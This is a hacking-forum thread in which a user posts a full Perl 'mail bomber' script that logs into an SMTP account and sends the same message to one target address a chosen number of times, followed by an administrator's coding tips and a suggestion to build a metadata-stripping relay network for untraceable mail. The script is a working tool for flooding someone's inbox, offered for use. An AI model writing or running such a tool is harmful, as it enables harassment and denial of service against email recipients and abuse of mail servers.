Author Topic: [Perl] mail bomber (Net::SMTPS)  (Read 1084 times)

0 Members and 1 Guest are viewing this topic.

Offline hcac

  • Serf
  • *
  • Posts: 25
  • Cookies: 4
    • View Profile
[Perl] mail bomber (Net::SMTPS)
« on: September 20, 2015, 09:51:03 am »
I felt I should submit some code, even if simple. {mail sender using smtp}
Gist: https://gist.github.com/hcac/925dd17e028cb1565655

Edit: kenjoe41 <3

Code: [Select]
#!/usr/bin/perl -w
#a simple mail bomber
use strict;
use warnings;
use Getopt::Long qw(GetOptions); #as kenjoe41 said
use JSON; #JSON support, options from a file
use Term::ReadKey; #for password input safety
use Net::SMTP;
use Net::SMTPS; #ssl support

$| = 1;
my $DEBUG = 1; #change to 1 for verbosity
my %conf;

print "SMTP account password: ";
ReadMode('noecho'); #don't echo
chomp ($conf{password} = <STDIN>);
ReadMode(0); #re-enable echo

if (($ARGV[0] && $ARGV[1]) && $ARGV[0] =~ /file/i && -r $ARGV[1]) {
open FH, $ARGV[1];

my $data = "";
$data .= $_ while (<FH>);

close FH;

my $decoded_hashref = decode_json $data;
%conf = %$decoded_hashref;
}
else {
input_commandline();
}

sub input_commandline {
#inputs => from commandline
my ($server, $port, $user, $from, $to);
GetOptions ("server=s" => \$server,
"port=i" => \$port,
"user=s" => \$user,
"from=s" => \$from,
"to=s" => \$to);
%conf = (server => $server,
port => $port,
user => $user,
from => $from,
to => $to
);

foreach my $key (keys %conf) {
die "Usage:\n./$0 --server <server> --port <port> --user <user> --from <from> --to <to>\nOR\n./$0 file options.json\n"
if (!$conf{$key});
}

print "Subject: ";
chomp ($conf{subject} = <STDIN>);
print "Body: ";
chomp ($conf{body} = <STDIN>);
print "Count: ";
chomp ($conf{count} = <STDIN>);
die "Bad input: count should be numeric!\n" if ($conf{count} =~ /\D/);

print "\nTLS? (default is y) [y/n]: ";
chomp ($conf{ssl_en} = <STDIN>); #if smtps or smtp should be used
}

smtp_send() foreach (1 .. $conf{count});

sub smtp_send { #the subroutine for smtp
my $ssl = 'starttls';   # 'ssl' / 'starttls' / undef
#change ^ if needed

my $mailer;

if ($conf{ssl_en} !~ /n/i) {
$mailer = new Net::SMTPS ( #SMTPS for tls support
$conf{server}, #smtp server to connect goes here, first
doSSL => $ssl,
Port => ($conf{port}) ? $conf{port} : 587, #usually 587
Debug => $DEBUG
) or die "Connection failed\n";
$mailer->auth($conf{user},$conf{password});
}
else {
$mailer = new Net::SMTP ( #SMTPS for tls support
$conf{server}, #smtp server to connect goes here, first
Port => ($conf{port}) ? $conf{port} : 25, #usually 587
User => $conf{user},
Password => $conf{password},
Debug => $DEBUG
) or die "Connection failed\n";
}

$mailer->mail($conf{from}); #From
$mailer->to($conf{to});

$mailer->data;
$mailer->datasend("Subject: " . $conf{subject} . "\r\n\r\n" . $conf{body});
$mailer->dataend(); #this is like a send button

$mailer->quit; #closing connection
}
« Last Edit: September 21, 2015, 02:11:15 pm by hcac »

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: [Perl] mail bomber (Net::SMTPS)
« Reply #1 on: September 21, 2015, 03:17:34 am »
Don't get stuck, use thewormkill's paste bin script https://evilzone.org/scripting-languages/%28python%29-a-simple-pastebin-uploader/

For a nice future in programming, github/gist could be a nice addition to your toolkit.

And mailbombers? That is sooo 80's

You do realise there is a commandline parse for Perl Getopt::Long
Get into using the commandline args and reduce on asking the use for input, advancd users hate it.

Add file support in there, you can even get all the args in one file if you implement a blueprint format and parse that file instead of asking every thing from the commandline. I hope this isn't ahead of your time but custom parsers should be a problem to a PeRL programmer, you parse files for life.

Print that end after sending the file, the use will think the program has hang when it has printed End and infact it still isn't done yet.
Are perl SMTP libs that bad that you have to do the HELLO by yourself in a client script?

I challenge you to a better project:
Build an SMTP server/client network that a user sends an email to indicating the endpoint emailaddress, it strips the metadata, routes it into numerous other host servers in prolly different countries and finally send the email to the final destination. We had a service around those days, wonder if it is still around, but it would be cool to implement. Hit me up if you are gonna do it and hit a wall.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]